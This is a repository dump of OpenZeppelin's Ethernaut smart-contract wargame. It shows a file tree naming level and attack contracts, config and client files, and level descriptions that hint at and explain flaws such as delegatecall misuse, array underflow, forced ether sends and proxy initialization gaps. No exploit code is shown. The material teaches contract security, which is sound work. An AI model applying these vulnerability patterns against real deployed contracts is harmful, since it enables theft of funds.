├── Recovery.t.sol │ │ └── TestRecovery.json │ ├── RecoveryFactory.sol │ │ └── RecoveryFactory.json │ ├── RecoverySimpleToken.sol │ │ └── RecoverySimpleToken.json │ ├── Reentrance.sol │ │ └── Reentrance.json │ ├── Reentrance.t.sol │ │ └── TestReentrance.json │ ├── ReentranceAttack.sol │ │ ├── Reentrance.json │ │ └── ReentranceAttack.json │ ├── ReentranceFactory.sol │ │ └── ReentranceFactory.json │ ├── SafeMath.sol │ │ └── SafeMath.json │ ├── Shop.sol │ │ ├── Buyer.json │ │ └── Shop.json │ ├── Shop.t.sol │ │ └── TestShop.json │ ├── ShopAttack.sol │ │ └── ShopAttack.json │ ├── ShopFactory.sol │ │ └── ShopFactory.json │ ├── Stake.sol │ │ └── Stake.json │ ├── Stake.t.sol │ │ └── TestStake.json │ ├── StakeAttack.sol │ │ └── StakeAttack.json │ ├── StakeFactory.sol │ │ └── StakeFactory.json │ ├── Statistics.sol │ │ └── Statistics.json │ ├── StatisticsLevelSuperseder.sol │ │ └── StatisticsLevelSuperseder.json │ ├── StdAssertions.sol │ │ └── StdAssertions.json │ ├── StdChains.sol │ │ └── StdChains.json │ ├── StdCheats.sol │ │ ├── StdCheats.json │ │ └── StdCheatsSafe.json │ ├── StdError.sol │ │ └── stdError.json │ ├── StdInvariant.sol │ │ └── StdInvariant.json │ ├── StdJson.sol │ │ └── stdJson.json │ ├── StdMath.sol │ │ └── stdMath.json │ ├── StdStorage.sol │ │ ├── stdStorage.json │ │ └── stdStorageSafe.json │ ├── StdStyle.sol │ │ └── StdStyle.json │ ├── StdToml.sol │ │ └── stdToml.json │ ├── StdUtils.sol │ │ └── StdUtils.json │ ├── StorageSlot.sol │ │ └── StorageSlot.json │ ├── Switch.sol │ │ └── Switch.json │ ├── Switch.t.sol │ │ └── TestSwitch.json │ ├── SwitchFactory.sol │ │ └── SwitchFactory.json │ ├── Telephone.sol │ │ └── Telephone.json │ ├── Telephone.t.sol │ │ └── TestTelephone.json │ ├── TelephoneAttack.sol │ │ └── TelephoneAttack.json │ ├── TelephoneFactory.sol │ │ └── TelephoneFactory.json │ ├── Test.sol │ │ └── Test.json │ ├── Token.sol │ │ └── Token.json │ ├── Token.t.sol │ │ ├── TestToken.json │ │ └── Token.json │ ├── TokenFactory.sol │ │ └── TokenFactory.json │ ├── TransparentUpgradeableProxy.sol │ │ └── TransparentUpgradeableProxy.json │ ├── UpgradeableProxy-08.sol │ │ └── UpgradeableProxy.json │ ├── Utils.sol │ │ └── Utils.json │ ├── Vault.sol │ │ └── Vault.json │ ├── Vault.t.sol │ │ └── TestVault.json │ ├── VaultAttack.sol │ │ └── VaultAttack.json │ ├── VaultFactory.sol │ │ └── VaultFactory.json │ ├── Vm.sol │ │ ├── Vm.json │ │ └── VmSafe.json │ ├── access │ │ └── Ownable.sol │ │ │ └── Ownable.json │ ├── console.sol │ │ └── console.json │ ├── console2.sol │ │ └── console2.json │ ├── contracts │ │ ├── access │ │ │ └── Ownable.sol │ │ │ │ └── Ownable.json │ │ └── utils │ │ │ ├── Address.sol │ │ │ └── Address.json │ │ │ └── Context.sol │ │ │ └── Context.json │ ├── draft-IERC1822.sol │ │ └── IERC1822Proxiable.json │ ├── safeconsole.sol │ │ └── safeconsole.json │ └── utils │ │ ├── Address.sol │ │ └── Address.json │ │ ├── Context.sol │ │ └── Context.json │ │ └── Initializable.sol │ │ └── Initializable.json ├── remappings.txt ├── src │ ├── Ethernaut.sol │ ├── attacks │ │ ├── AlienCodexAttack.sol │ │ ├── CoinFlipAttack.sol │ │ ├── DenialAttack.sol │ │ ├── DetectionBot.sol │ │ ├── DexTwoAttack.sol │ │ ├── ElevatorAttack.sol │ │ ├── ForceAttack.sol │ │ ├── GatekeeperOneAttack.sol │ │ ├── GatekeeperThreeAttack.sol │ │ ├── GatekeeperTwoAttack.sol │ │ ├── GoodSamaritanAttack.sol │ │ ├── HigherOrderAttack.sol │ │ ├── KingAttack.sol │ │ ├── MagicNumBadSolver.sol │ │ ├── MagicNumSolver.sol │ │ ├── Manufactured.sol │ │ ├── MotorbikeAttack.sol │ │ ├── NaughtCoinAttack.sol │ │ ├── PreservationAttack.sol │ │ ├── ReentranceAttack.sol │ │ ├── ShopAttack.sol │ │ ├── StakeAttack.sol │ │ ├── TelephoneAttack.sol │ │ └── VaultAttack.sol │ ├── factory │ │ └── LocalFactory.sol │ ├── helpers │ │ ├── Ownable-05.sol │ │ └── UpgradeableProxy-08.sol │ ├── levels │ │ ├── AlienCodex.sol │ │ ├── AlienCodexFactory.sol │ │ ├── CoinFlip.sol │ │ ├── CoinFlipFactory.sol │ │ ├── Delegation.sol │ │ ├── DelegationFactory.sol │ │ ├── Denial.sol │ │ ├── DenialFactory.sol │ │ ├── Dex.sol │ │ ├── DexFactory.sol │ │ ├── DexTwo.sol │ │ ├── DexTwoFactory.sol │ │ ├── DoubleEntryPoint.sol │ │ ├── DoubleEntryPointFactory.sol │ │ ├── Dummy.sol │ │ ├── DummyFactory.sol │ │ ├── Elevator.sol │ │ ├── ElevatorFactory.sol │ │ ├── Fallback.sol │ │ ├── FallbackFactory.sol │ │ ├── Fallout.sol │ │ ├── FalloutFactory.sol │ │ ├── Force.sol │ │ ├── ForceFactory.sol │ │ ├── GatekeeperOne.sol │ │ ├── GatekeeperOneFactory.sol │ │ ├── GatekeeperThree.sol │ │ ├── GatekeeperThreeFactory.sol │ │ ├── GatekeeperTwo.sol │ │ ├── GatekeeperTwoFactory.sol │ │ ├── GoodSamaritan.sol │ │ ├── GoodSamaritanFactory.sol │ │ ├── HigherOrder.sol │ │ ├── HigherOrderFactory.sol │ │ ├── Impersonator.sol │ │ ├── ImpersonatorFactory.sol │ │ ├── Instance.sol │ │ ├── InstanceFactory.sol │ │ ├── King.sol │ │ ├── KingFactory.sol │ │ ├── MagicAnimalCarousel.sol │ │ ├── MagicAnimalCarouselFactory.sol │ │ ├── MagicNum.sol │ │ ├── MagicNumFactory.sol │ │ ├── Motorbike.sol │ │ ├── MotorbikeFactory.sol │ │ ├── NaughtCoin.sol │ │ ├── NaughtCoinFactory.sol │ │ ├── Preservation.sol │ │ ├── PreservationFactory.sol │ │ ├── Privacy.sol │ │ ├── PrivacyFactory.sol │ │ ├── PuzzleWallet.sol │ │ ├── PuzzleWalletFactory.sol │ │ ├── Recovery.sol │ │ ├── RecoveryFactory.sol │ │ ├── RecoverySimpleToken.sol │ │ ├── Reentrance.sol │ │ ├── ReentranceFactory.sol │ │ ├── Shop.sol │ │ ├── ShopFactory.sol │ │ ├── Stake.sol │ │ ├── StakeFactory.sol │ │ ├── Switch.sol │ │ ├── SwitchFactory.sol │ │ ├── Telephone.sol │ │ ├── TelephoneFactory.sol │ │ ├── Token.sol │ │ ├── TokenFactory.sol │ │ ├── Vault.sol │ │ ├── VaultFactory.sol │ │ └── base │ │ │ ├── Level-05.sol │ │ │ ├── Level-06.sol │ │ │ ├── Level-08.sol │ │ │ └── Level.sol │ ├── metrics │ │ ├── Statistics.sol │ │ └── StatisticsLevelSuperseder.sol │ └── proxy │ │ ├── ProxyAdmin.sol │ │ └── ProxyStats.sol └── test │ ├── Ethernaut.t.sol │ ├── levels │ ├── AlienCodex.t.sol │ ├── Coinflip.t.sol │ ├── Delegation.t.sol │ ├── Denial.t.sol │ ├── Dex.t.sol │ ├── DexTwo.t.sol │ ├── DoubleEntryPoint.t.sol │ ├── Elevator.t.sol │ ├── Fallback.t.sol │ ├── Fallout.t.sol │ ├── Force.t.sol │ ├── GatekeeperOne.t.sol │ ├── GatekeeperThree.t.sol │ ├── GatekeeperTwo.t.sol │ ├── GoodSamaritan.t.sol │ ├── HigherOrder.t.sol │ ├── Impersonator.t.sol │ ├── Instance.t.sol │ ├── King.t.sol │ ├── MagicAnimalCarousel.t.sol │ ├── MagicNum.t.sol │ ├── Motorbike.t.sol │ ├── NaughtCoin.t.sol │ ├── Preservation.t.sol │ ├── Privacy.t.sol │ ├── PuzzleWallet.t.sol │ ├── Recovery.t.sol │ ├── Reentrance.t.sol │ ├── Shop.t.sol │ ├── Stake.t.sol │ ├── Switch.t.sol │ ├── Telephone.t.sol │ ├── Token.t.sol │ └── Vault.t.sol │ ├── metrics │ ├── Leaderboard.t.sol │ ├── Level.t.sol │ └── Player.t.sol │ └── utils │ └── Utils.sol ├── deps └── hljs │ ├── lib │ └── index.js │ ├── package.json │ └── styles │ └── vs2015-css.mjs ├── netlify.toml ├── package.json ├── renovate.json └── yarn.lock /.env-sample: -------------------------------------------------------------------------------- 1 | SEPOLIA_HOST= 2 | REACT_APP_SEPOLIA_EXPLORER_API_KEY= 3 | 4 | HOLESKY_HOST= 5 | REACT_APP_HOLESKY_EXPLORER_API_KEY= 6 | 7 | AMOY_HOST= 8 | REACT_APP_AMOY_EXPLORER_API_KEY= 9 | 10 | OPTIMISM_SEPOLIA_HOST= 11 | REACT_APP_OPTIMISM_SEPOLIA_EXPLORER_API_KEY= 12 | 13 | ARBITRUM_SEPOLIA_HOST= 14 | REACT_APP_ARBITRUM_SEPOLIA_EXPLORER_API_KEY= 15 | 16 | PRIV_KEY= 17 | 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Dependencies 2 | node_modules/ 3 | 4 | # Private stuff 5 | client/.env 6 | contracts/.env 7 | 8 | # Client 9 | client/build/ 10 | client/node_modules/ 11 | client/src/gamedata/deploy.local.json 12 | .env 13 | 14 | # Local Netlify folder 15 | .netlify -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "contracts/lib/forge-std"] 2 | path = contracts/lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | [submodule "contracts/lib/openzeppelin-contracts-06"] 5 | path = contracts/lib/openzeppelin-contracts-06 6 | url = https://github.com/openzeppelin/openzeppelin-contracts 7 | [submodule "contracts/lib/openzeppelin-contracts-08"] 8 | path = contracts/lib/openzeppelin-contracts-08 9 | url = https://github.com/openzeppelin/openzeppelin-contracts 10 | [submodule "contracts/lib/openzeppelin-contracts-upgradeable"] 11 | path = contracts/lib/openzeppelin-contracts-upgradeable 12 | url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable 13 | -------------------------------------------------------------------------------- /.nvmrc: -------------------------------------------------------------------------------- 1 | v16.20.1 2 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | ## March 2024 2 | - Updated all contracts (challenges, tests, etc.) to use Foundry instead of Hardhat 3 | 4 | ## August 2021 5 | - Filter out repeated log messages for mined transactions 6 | - Increased Sidebar width 7 | - Add informative messages when Metamask is not installed nor connected 8 | - Add message for translation contribution 9 | - Add guide on how to add languages in the README 10 | 11 | ## July 2021 12 | - Add multilanguage support 13 | - Update Remix link redirect 14 | - Better description for Denial level 15 | - Prevent double click on submitting or getting new level instances 16 | - Reduced compiler warnings 17 | - Add Sentry for error tracking 18 | 19 | ## June 2021 20 | - Refactor project to use create-react-app -------------------------------------------------------------------------------- /FUNDING.json: -------------------------------------------------------------------------------- 1 | { 2 | "drips": { 3 | "ethereum": { 4 | "ownedBy": "0xAeb37910f93486C85A1F8F994b67E8187554d664" 5 | } 6 | }, 7 | "opRetro": { 8 | "projectId": "0x17fb589e599fe05e532b90c121eccc55b1249301e783dae226bad698872322da" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /client/public/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenZeppelin/ethernaut/e8eaa5719d7e1d00607494afccefe1584d21c212/client/public/.DS_Store -------------------------------------------------------------------------------- /client/public/imgs/Default.svg: -------------------------------------------------------------------------------- 1 | NEW! -------------------------------------------------------------------------------- /client/public/imgs/arrow.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /client/public/imgs/christmas-hat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenZeppelin/ethernaut/e8eaa5719d7e1d00607494afccefe1584d21c212/client/public/imgs/christmas-hat.png -------------------------------------------------------------------------------- /client/public/imgs/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenZeppelin/ethernaut/e8eaa5719d7e1d00607494afccefe1584d21c212/client/public/imgs/favicon.ico -------------------------------------------------------------------------------- /client/public/imgs/levels-ai.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenZeppelin/ethernaut/e8eaa5719d7e1d00607494afccefe1584d21c212/client/public/imgs/levels-ai.zip -------------------------------------------------------------------------------- /client/public/imgs/metatag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenZeppelin/ethernaut/e8eaa5719d7e1d00607494afccefe1584d21c212/client/public/imgs/metatag.png -------------------------------------------------------------------------------- /client/public/imgs/new.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenZeppelin/ethernaut/e8eaa5719d7e1d00607494afccefe1584d21c212/client/public/imgs/new.png -------------------------------------------------------------------------------- /client/public/imgs/openzeppelin-by-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenZeppelin/ethernaut/e8eaa5719d7e1d00607494afccefe1584d21c212/client/public/imgs/openzeppelin-by-logo.png -------------------------------------------------------------------------------- /client/scripts/build-redirects.cjs: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | const url = require('url'); 4 | const fs = require('fs'); 5 | 6 | const dsn = process.env.REACT_APP_SENTRY_DSN; 7 | 8 | if (dsn === undefined) { 9 | if (process.env.NETLIFY === 'true') { 10 | throw new Error('Missing environment variable REACT_APP_SENTRY_DSN'); 11 | } else { 12 | process.exit(); 13 | } 14 | } 15 | 16 | const { protocol, host, path } = url.parse(dsn); 17 | const projectId = path.replace(/^\//, ''); 18 | 19 | const redirect = `/errors ${protocol}//${host}/api/${projectId}/envelope/ 200`; 20 | 21 | fs.mkdirSync('build', { recursive: true }); 22 | fs.writeFileSync('build/_redirects', redirect); 23 | -------------------------------------------------------------------------------- /client/src/components/leaderboard/Headers.js: -------------------------------------------------------------------------------- 1 | function Headers() { 2 | return ( 3 |
4 |
Rank
5 |
Player
6 |
Levels solved
7 |
Score
8 |
9 |
10 | ) 11 | } 12 | 13 | export default Headers; -------------------------------------------------------------------------------- /client/src/components/leaderboard/checkIfAliasExist.js: -------------------------------------------------------------------------------- 1 | import axios from "axios"; 2 | import { ALIAS_PATH } from "../../constants"; 3 | 4 | const getAliases = async () => { 5 | try { 6 | const response = await axios.get(ALIAS_PATH) 7 | window.aliases = response.data 8 | } catch (err) { 9 | console.log(err) 10 | } 11 | } 12 | 13 | export const checkIfAliasIsPresent = (alias) => { 14 | try { 15 | const aliases = Object.values(window.aliases) 16 | return aliases.includes(alias) 17 | } catch (err) { 18 | console.log(err) 19 | } 20 | } 21 | 22 | getAliases() -------------------------------------------------------------------------------- /client/src/components/stats/Difficulty.js: -------------------------------------------------------------------------------- 1 | import React from 'react' 2 | import { loadTranslations } from '../../utils/translations' 3 | 4 | const Difficulty = ({level}) => { 5 | let language = localStorage.getItem('lang') 6 | let strings = loadTranslations(language) 7 | return ( 8 |
9 |

10 | {strings.difficulty} {level}/10 11 |

12 |
13 | ) 14 | } 15 | 16 | export default Difficulty 17 | -------------------------------------------------------------------------------- /client/src/components/stats/Panel.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | 3 | export default function StatisticPanel({ children, title, show }) { 4 | if(!show) return <>; 5 | return ( 6 |
7 |
{title}
8 |
{children}
9 |
10 | ); 11 | } 12 | -------------------------------------------------------------------------------- /client/src/components/stats/Statistic.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { formatNumberWithComma } from "../../utils/stringutil"; 3 | 4 | export default function Statistic({ 5 | heading, 6 | value = 0 7 | }) { 8 | return
9 |
10 | {heading} 11 |
12 |

13 | {formatNumberWithComma(value)} 14 |

15 |
; 16 | } 17 | -------------------------------------------------------------------------------- /client/src/contracts: -------------------------------------------------------------------------------- 1 | ../../contracts/ -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/aliencodex.md: -------------------------------------------------------------------------------- 1 | You've uncovered an Alien contract. Claim ownership to complete the level. 2 | 3 |   4 | Things that might help 5 | * Understanding how array storage works 6 | * Understanding [ABI specifications](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html) 7 | * Using a very `underhanded` approach 8 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload. 2 | 3 | Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of `2^256`. The user is then able to modify all contract storage. 4 | 5 | Both vulnerabilities are inspired by 2017's [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079) -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/coinflip.md: -------------------------------------------------------------------------------- 1 | This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row. 2 | 3 |   4 | Things that might help 5 | * See the ["?"](https://ethernaut.openzeppelin.com/help) page above in the top right corner menu, section "Beyond the console" -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/delegate.md: -------------------------------------------------------------------------------- 1 | The goal of this level is for you to claim ownership of the instance you are given. 2 | 3 |   4 | Things that might help 5 | * Look into Solidity's documentation on the `delegatecall` low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. 6 | * Fallback methods 7 | * Method ids 8 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/delegate_complete.md: -------------------------------------------------------------------------------- 1 | Usage of `delegatecall` is particularly risky and has been used as an attack vector on multiple historic hacks. With it, your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state". Delegates have complete access to your contract's state. The `delegatecall` function is a powerful feature, but a dangerous one, and must be used with extreme care. 2 | 3 | 4 | Please refer to the [The Parity Wallet Hack Explained](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7) article for an accurate explanation of how this idea was used to steal 30M USD. 5 | 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/denial.md: -------------------------------------------------------------------------------- 1 | This is a simple wallet that drips funds over time. You can withdraw the funds 2 | slowly by becoming a withdrawing partner. 3 | 4 | If you can deny the owner from withdrawing funds when they call `withdraw()` 5 | (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level. 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/dex2.md: -------------------------------------------------------------------------------- 1 | This level will ask you to break `DexTwo`, a subtly modified `Dex` contract from the previous level, in a different way. 2 | 3 | You need to drain all balances of token1 and token2 from the `DexTwo` contract to succeed in this level. 4 | 5 | You will still start with 10 tokens of `token1` and 10 of `token2`. The DEX contract still starts with 100 of each token. 6 | 7 |   8 | Things that might help: 9 | * How has the `swap` method been modified? 10 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/elevator.md: -------------------------------------------------------------------------------- 1 | This elevator won't let you reach the top of your building. Right? 2 | 3 | ##### Things that might help: 4 | * Sometimes solidity is not good at keeping promises. 5 | * This `Elevator` expects to be used from a `Building`. -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/elevator_complete.md: -------------------------------------------------------------------------------- 1 | You can use the `view` function modifier on an interface in order to prevent state modifications. The `pure` modifier also prevents functions from modifying the state. 2 | Make sure you read [Solidity's documentation](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) and learn its caveats. 3 | 4 | An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. `gasleft()`. -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/fallback.md: -------------------------------------------------------------------------------- 1 | Look carefully at the contract's code below. 2 | 3 | You will beat this level if 4 | 1) you claim ownership of the contract 5 | 2) you reduce its balance to 0 6 | 7 |   8 | Things that might help 9 | * How to send ether when interacting with an ABI 10 | * How to send ether outside of the ABI 11 | * Converting to and from wei/ether units (see `help()` command) 12 | * Fallback methods 13 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/fallback_complete.md: -------------------------------------------------------------------------------- 1 | You know the basics of how ether goes in and out of contracts, including the usage of the fallback method. 2 | 3 | You've also learnt about OpenZeppelin's Ownable contract, and how it can be used to restrict the usage of some methods to a privileged address. 4 | 5 | Move on to the next level when you're ready! 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/fallout.md: -------------------------------------------------------------------------------- 1 | Claim ownership of the contract below to complete this level. 2 | 3 |   4 | Things that might help 5 | * Solidity Remix IDE 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/force.md: -------------------------------------------------------------------------------- 1 | Some contracts will simply not take your money `¯\_(ツ)_/¯` 2 | 3 | The goal of this level is to make the balance of the contract greater than zero. 4 | 5 |   6 | Things that might help: 7 | * Fallback methods 8 | * Sometimes the best way to attack a contract is with another contract. 9 | * See the ["?"](https://ethernaut.openzeppelin.com/help) page above, section "Beyond the console" 10 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/force_complete.md: -------------------------------------------------------------------------------- 1 | In solidity, for a contract to be able to receive ether, the fallback function must be marked `payable`. 2 | 3 | However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant `address(this).balance == 0` for any contract logic. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/gatekeeper1.md: -------------------------------------------------------------------------------- 1 | Make it past the gatekeeper and register as an entrant to pass this level. 2 | 3 | ##### Things that might help: 4 | * Remember what you've learned from the Telephone and Token levels. 5 | * You can learn more about the special function `gasleft()`, in Solidity's documentation (see [Units and Global Variables](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) and [External Function Calls](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)). 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/gatekeeper1_complete.md: -------------------------------------------------------------------------------- 1 | Well done! Next, try your hand with the second gatekeeper... -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/gatekeeper2_complete.md: -------------------------------------------------------------------------------- 1 | Way to go! Now that you can get past the gatekeeper, you have what it takes to join [theCyber](https://etherscan.io/address/thecyber.eth#code), a decentralized club on the Ethereum mainnet. Get a passphrase by contacting the creator on [reddit](https://www.reddit.com/user/0age) or via [email](mailto:0age@protonmail.com) and use it to register with the contract at [gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code) (be aware that only the first 128 entrants will be accepted by the contract). -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/gatekeeper3.md: -------------------------------------------------------------------------------- 1 | Cope with gates and become an entrant. 2 | 3 | ##### Things that might help: 4 | * Recall return values of low-level functions. 5 | * Be attentive with semantic. 6 | * Refresh how storage works in Ethereum. 7 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/gatekeeper3_complete.md: -------------------------------------------------------------------------------- 1 | Nice job! For more information read [this](https://web3js.readthedocs.io/en/v1.2.9/web3-eth.html?highlight=getStorageAt#getstorageat) and [this](https://medium.com/loom-network/ethereum-solidity-memory-vs-storage-how-to-initialize-an-array-inside-a-struct-184baf6aa2eb). -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/goodsamaritan.md: -------------------------------------------------------------------------------- 1 | This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it. 2 | 3 | Would you be able to drain all the balance from his Wallet? 4 | 5 | Things that might help: 6 | 7 | - [Solidity Custom Errors](https://blog.soliditylang.org/2021/04/21/custom-errors/) -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/goodsamaritan_complete.md: -------------------------------------------------------------------------------- 1 | Congratulations! 2 | 3 | Custom errors in Solidity are identified by their 4-byte ‘selector’, the same as a function call. They are bubbled up through the call chain until they are caught by a catch statement in a try-catch block, as seen in the GoodSamaritan's `requestDonation()` function. For these reasons, it is not safe to assume that the error was thrown by the immediate target of the contract call (i.e., Wallet in this case). Any other contract further down in the call chain can declare the same error and throw it at an unexpected location, such as in the `notify(uint256 amount)` function in your attacker contract. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/higherorder.md: -------------------------------------------------------------------------------- 1 | Imagine a world where the rules are meant to be broken, and only the cunning and the bold can rise to power. Welcome to the Higher Order, a group shrouded in mystery, where a treasure awaits and a commander rules supreme. 2 | 3 | Your objective is to become the Commander of the Higher Order! Good luck! 4 | 5 | ##### Things that might help: 6 | * Sometimes, `calldata` cannot be trusted. 7 | * Compilers are constantly evolving into better spaceships. 8 | 9 | 10 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/higherorder_complete.md: -------------------------------------------------------------------------------- 1 | You've conquered the Higher Order challenge, mastering the Dirty Higher Order Bits exploit to claim the title of Commander. In this quest, you've delved deep into Solidity, learning to manipulate bytes and bypass function type checks. 2 | 3 | Your victory not only showcases your technical prowess but also highlights your ability to think creatively and critically. -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/impersonator.md: -------------------------------------------------------------------------------- 1 | SlockDotIt’s new product, **ECLocker**, integrates IoT gate locks with Solidity smart contracts, utilizing Ethereum ECDSA for authorization. When a valid signature is sent to the lock, the system emits an `Open` event, unlocking doors for the authorized controller. SlockDotIt has hired you to assess the security of this product before its launch. Can you compromise the system in a way that anyone can open the door? -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | Congratulations! You have completed the tutorial. 2 | Have a look at the Solidity code for the contract you just interacted with below. 3 | 4 | You are now ready to complete all the levels of the game, and as of now, you're on your own. 5 | 6 | Godspeed!! 7 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/king.md: -------------------------------------------------------------------------------- 1 | The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD 2 | 3 | Such a fun game. Your goal is to break it. 4 | 5 | When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation. 6 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/king_complete.md: -------------------------------------------------------------------------------- 1 | Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug. 2 | 3 | In this case, see: [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) and [King of the Ether Postmortem](http://www.kingoftheether.com/postmortem.html). 4 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/magicanimalcarousel.md: -------------------------------------------------------------------------------- 1 | Welcome, dear Anon, to the Magic Carousel, where creatures spin and twirl in a boundless spell. In this magical, infinite digital wheel, they loop and whirl with enchanting zeal. 2 | 3 | Add a creature to join the fun, but heed the rule, or the game’s undone. 4 | If an animal joins the ride, take care when you check again, that same animal must be there! 5 | 6 | Can you break the magic rule of the carousel? -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/magicanimalcarousel_complete.md: -------------------------------------------------------------------------------- 1 | Congratulations, you’ve broken the magical rule of the carousel! In the realm of low-level data manipulation, it’s crucial to remember the details, especially when working with compacting data in storage slots. -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/magicnum.md: -------------------------------------------------------------------------------- 1 | To solve this level, you only need to provide the Ethernaut with a `Solver`, a contract that responds to `whatIsTheMeaningOfLife()` with the right 32 byte number. 2 | 3 | Easy right? 4 | Well... there's a catch. 5 | 6 | The solver's code needs to be really tiny. Really reaaaaaallly tiny. Like freakin' really really itty-bitty tiny: 10 bytes at most. 7 | 8 | Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. 9 | That's right: Raw EVM bytecode. 10 | 11 | Good luck! -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/magicnum_complete.md: -------------------------------------------------------------------------------- 1 | Congratulations! If you solved this level, consider yourself a Master of the Universe. 2 | 3 | Go ahead and pierce a random object in the room with your Magnum look. Now, try to move it from afar; Your telekinesis abilities might have just started working. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/motorbike.md: -------------------------------------------------------------------------------- 1 | Ethernaut's motorbike has a brand new upgradeable engine design. 2 | 3 | Would you be able to `selfdestruct` its engine and make the motorbike unusable ? 4 | 5 | Things that might help: 6 | 7 | - [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) 8 | - [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern 9 | - [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/naughtcoin.md: -------------------------------------------------------------------------------- 1 | NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0. 2 | 3 |   4 | Things that might help 5 | * The [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) Spec 6 | * The [OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) codebase 7 | -------------------------------------------------------------------------------- /client/src/gamedata/en/descriptions/levels/naughtcoin_complete.md: -------------------------------------------------------------------------------- 1 | When using code that's not your own, it's a good idea to familiarize yourself with it to get a good understanding of how everything fits together. This can be particularly important when there are multiple levels of imports (your imports have imports) or when you are implementing authorization controls, e.g. when 